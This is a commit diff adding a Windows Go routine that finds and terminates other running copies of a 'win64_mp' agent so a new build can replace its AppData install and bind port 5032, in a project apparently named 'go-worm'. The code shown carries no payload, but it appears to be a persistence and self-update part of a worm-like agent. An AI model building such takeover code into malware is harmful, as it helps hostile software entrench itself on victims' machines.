fix(core): take over agent, reuse callbacks

- Kill running agents before replace
- Retry copy with backoff while locked
- Reuse syscall callbacks at package scope
- Add callback regression test

lib/instance/kill_windows.go

@@ -0,0 +1,73 @@
+//go:build windows
+
+package instance
+
+import (
+	"os"
+	"path/filepath"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+// KillOtherAgents terminates other win64_mp processes so this build can
+// replace the AppData install and bind 5032. Skips this PID.
+func KillOtherAgents() error {
+	self := uint32(os.Getpid())
+	selfPath, err := os.Executable()
+	if err == nil {
+		selfPath, _ = filepath.Abs(selfPath)
+	}
+	installed, err := config.InstalledExe()
+	if err == nil {
+		installed, _ = filepath.Abs(installed)
+	}
+
+	snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
+	if err != nil {
+		return err
+	}
+	defer windows.CloseHandle(snap)
+
+	var pe windows.ProcessEntry32
+	pe.Size = uint32(unsafe.Sizeof(pe))
+	if err := windows.Process32First(snap, &pe); err != nil {
+		return err
+	}
+	for {
+		exeName := windows.UTF16ToString(pe.ExeFile[:])
+		image := processImage(pe.ProcessID)
+		if shouldKill(self, pe.ProcessID, selfPath, image, installed, exeName) {
+			_ = terminatePID(pe.ProcessID)
+		}
+		if err := windows.Process32Next(snap, &pe); err != nil {
+			break
+		}
+	}
+	return nil
+}
+
+func processImage(pid uint32) string {
+	h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid)
+	if err != nil {
+		return ""
+	}
+	defer windows.CloseHandle(h)
+	var buf [1024]uint16
+	n := uint32(len(buf))
+	if err := windows.QueryFullProcessImageName(h, 0, &buf[0], &n); err != nil {
+		return ""
+	}
+	return windows.UTF16ToString(buf[:n])
+}
+
+func terminatePID(pid uint32) error {
+	h, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, pid)
+	if err != nil {
+		return err
+	}
+	defer windows.CloseHandle(h)
+	return windows.TerminateProcess(h, 1)
+}